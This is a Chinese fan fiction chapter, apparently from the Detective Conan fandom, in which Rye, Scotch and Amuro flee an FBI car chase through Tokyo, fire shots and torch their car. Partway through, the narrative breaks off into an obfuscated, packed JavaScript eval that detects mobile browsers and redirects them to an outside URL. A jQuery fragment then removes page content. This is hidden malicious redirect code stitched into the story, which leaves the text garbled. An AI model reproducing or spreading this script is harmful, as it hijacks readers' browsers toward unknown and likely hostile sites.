翻车有风险，挑衅需谨慎。


    普锐斯小巧的车身优势尽显，以惊人的速度在缝隙中穿梭，莱伊将驾驶技术发挥到极致，顶着风险利用东京密集车流作为天然屏障，急加速与猛刹车中无缝切换，不断在大小车辆间进行穿插变道，迫使后面的追兵不断做出规避动作，无法稳定瞄准或逼停。


    “苏格兰！”


    莱伊在驾驶座上大喊。苏格兰会意地摸出腰间藏着的手枪，SIG P220，口径45 ACP，这把的弹匣容量是7发，基座聚合物。他的手指搭上扳机，从大开的车窗里探出半个手臂，毫不犹豫地朝天开上两枪。震耳欲聋的枪声震慑一整条街，人们纷纷避之不及的往后退去，给车让路。


    他带着后座的苏格兰猛地拐入一条狭窄商业街，街边满是熙攘的行人和临时停放的自行车。后面追来的福特探险者在车身大小上吃了亏，显得笨拙无比，不得不减速以免撞上行人，距离瞬间被拉大。


    由于警方一直在进行疏散安抚，主要人流基本都在广场的另一端反方向聚集，过了密集车流之后路上空旷不少。莱伊不再追求隐蔽，而是一脚将普锐斯的混合动力引擎压榨到极限，看似温顺的家用车在操控下变成一头灵敏野兽。


    又是一个十字路口，他算准时间，卡在绿灯即将结束的最后一秒猛冲过去。横向的车流如潮水般涌来，成功地将那辆刚刚追上来的灰色迈锐宝死死拦在了路口对面，这完全出乎FBI的预料，他们的车辆被正常行驶的车辆堵住，一时无法跟进。里边的FBI探员愤怒地一拳砸在方向盘上，他和当时洛杉矶好莱坞的那位一定很有共同语言。


    但FBI绝非庸手，他们的车辆性能更优，驾驶技术同样专业，而且拥有更高的道路优先权。FBI利用指挥系统远程调度前方路口的交通信号灯，同时通过无线电告知东京警视厅在前方可能的出口设置临时路障。试图制造起一条红灯堵车长龙，将普锐斯困在某一区域。


    当然，可能日本警方从上至下有大把人即将为此跳脚，但FBI不在乎。又鉴于美日关系实在悬殊，估计这次到最后也是不了了之。


    现在直升机已经从远方赶来。警方也定位了莱伊和苏格兰的大概方向，城市上空传来直升机的巨大轰鸣声，甚至一度盖过了急切的警车声——日本全国共有约八十架中小型警用直升机，主要分布于各都道府县警察总部。其中就以东京都警视厅装备量最多，足足达到了十四架。


    即使在如此自由的阿美丽卡，被直升机锁定也几乎等同于封死了通过地面逃脱的可能性，确实能有人甩掉直升机，但很少。距莱伊在楼顶开出那枪到现在已经过去二十来分钟，足够警方直升机从附近基地起飞并赶往现场。假如速度够快，那么预计五分钟内就能抵达他和苏格兰的上空。


    安室透开始接入市政交通控制节点并编制监控干扰循环程序，计划对他们路上的监控进行替换，让这条路上的所有摄像头都重复播放十分钟之前的无异常画面。一路上的监控都正在调换中，他们将会有不超过五分钟的混乱窗口，痕迹会由组织后勤进行处理。


    其实他原本还想强行修改前方三个路口的信号灯序列，然而在听苏格兰说莱伊已经直接全闯过去之后就放弃了该想法，转为对FBI通讯频段进行高强度短时间的定向干扰。


    一边溜出包围圈一边还要给另一边指路的安室透说：“前方路口左转，逆行驶入单行道，FBI的通讯频段会在三分钟后恢复。”


    莱伊没有丝毫犹豫，直接猛打方向盘。普锐斯冲过对面车道的车流，引发成片的惊恐刹车，然后他一头扎进狭窄的单行道，在上边进行逆向狂奔。紧接着拉起手刹，用一个漂亮的甩尾漂移冲下地下停车场的斜坡，暂时脱离追兵视线。


    安室透：“前边有个信号灯控制箱，用EMP枪可以瘫痪这整个区域。”


    莱伊百忙之中仍不忘抽空回答：“你给我变个电子脉冲枪出来看看？”


    “没让你去打，我只是告诉你有这么个东西存在，免得到时候把责任算我身上。”他说：“下一个路口右转，直行三百米，右侧有一个废弃的小型物流仓库。”


    他那边的风声更大了，就像有人在拔腿狂奔一样。堪称劳模的安室透抱着还在运行当中的电脑，一边动程序一边背着包裹越过警察包围圈。鉴于莱伊和苏格兰吸引了警方几乎全部的注意力，他这边除了只能靠两条腿跑以外倒还算轻松。


    在他报出地点的同时，普锐斯如同脱缰野马，按照指示冲进一个锈迹斑斑的铁门大院，停在巨大的仓库棚子前。棚子里堆满废弃货架和集装箱，空气中弥漫着铁锈和灰尘的味道。


    两人迅速下车。莱伊抓起装有狙击步枪的盒子，苏格兰则从后备箱提出两个准备好的大型汽油桶，毫不犹豫地将汽油泼洒在车内和驾驶座上，然后扔进一个点燃的打火机。火焰瞬间升腾，吞噬了那辆经历了激烈追逐的普锐斯。


    这一幕似曾相识。苏格兰想，他和莱伊第一天见面时的场景也是这样。车，杀人，和大火。火焰与罪孽就像一对孪生子，总是成双成对出现，乌鸦在地面上投下振翅时的影子。


    我庄严宣誓，我重视拥护日本国宪法和法律，遵守命令，优先履行警察职务，不参加必须遵守其规章的团体和组织，不受其任何约束，不因任何事件而恐惧，不为任何人所憎恶，以自己之良知，履行警察的职务，不偏不倚，公平公正。


    你在畏惧什么？死亡还是孤独？


    他恍神的片刻功夫，莱伊已经推开仓库后院一扇几乎被杂草淹没的小铁门，这是撤离路线里预先设置好的第二个应急换车点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402452|179686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。门外是另一条更窄的小巷，那里停着一辆看起来像是送寿司外卖的、毫不起眼的白色轻自动车，钥匙就插在车上。


    两人钻入小车，这次苏格兰坐驾驶座。他发动引擎，小排量汽车发出轻快噪音，缓缓驶出小巷，混入街上车流，就好像刚刚连续开过四条街闯了三红灯走上人行道两次的人不是他们一样。


    追兵被引向燃烧点，仓库方向在他们身后冒起浓烟，直升机正在上空盘旋搜索。FBI的车队和直升机最终包围了起火的普锐斯，探员们掏出□□17，小心翼翼接近，却发现早已人去车空。在与他们背道而驰的小路上，白色小车不紧不慢地行驶进东京街道，离群的水滴重新汇入海洋，无迹可寻。


    两条街道后，苏格兰在第三个拐角处看见了狂奔十几分钟后躲在小巷里等人来接的安室透。他开过来时对方正撑着膝盖气喘吁吁，这不能怪他，毕竟他的原位置在这里的八条街开外，要先上墙后跨栏一路狂奔，进行足足几公里多的障碍运动。


    带着苏格兰同款鸭舌帽的金发男闷声上车，毫不客气把莱伊又往里边挤了挤，他的白色衬衫已经被汗浸透。一时间没人说话，喘气的喘气开车的开车，还有人在平复自己刚窜上来的肾上腺素。


    窗外是流逝的、平静而喧嚣的都市风景，路上的人们骂着赶去投胎的车，在警察究竟称不称职一事上互相发表意见，最后归于今天晚上吃什么。太阳透过车窗照进来，隔开了两个平行的世界，仿佛那场生死时速从未发生过。


    片刻之后，莱伊开始伸手去翻安室透的包，他记得自己出门前往里边塞了能量棒，与绿川光的压缩饼干和安室透的电解质水放在一起：“我没吃午饭。”


    高强度动脑了一整个上午的安室透累得不想说话，除了嘴皮子以外全身上下再没有一个想动弹的部分，只是拿脚踹旁边凑过来的大只佬，同时把掉进嘴里的黑长发呸出去：“第二层拉链左侧，别乱碰，要不然你赔。”


    calorie mate，日本中比较出名的大众能量食品，一盒四根，热量和一顿红烧肉差不多，营养成分还大多是碳水。自打莱伊在街边便利店购入过一次并且发现这东西卖得到处都是之后便无法自拔。


    讲道理，世界上怎么会有这么方便的食物？没有动不动就要风餐陋宿、吃什么吃多少什么时候吃都得看天意、和懒得动手解决自己一日三餐的人能拒绝。他要赞颂一下日本环境，这里的轻工业可比阿美丽卡要给力多了。


    他拆开一盒，自己嘴里叼着一根的同时给前座的绿川光也塞上一根。正在开车的绿川光没手接，干脆直接扭过半个头来，然后一口咬下半根，又转回去一边看路一边嚼嚼嚼。后座的安室透就在靠背上用力瞪他：我呢？


    于是莱伊又把绿川光没吃完的部分怼进他嘴里。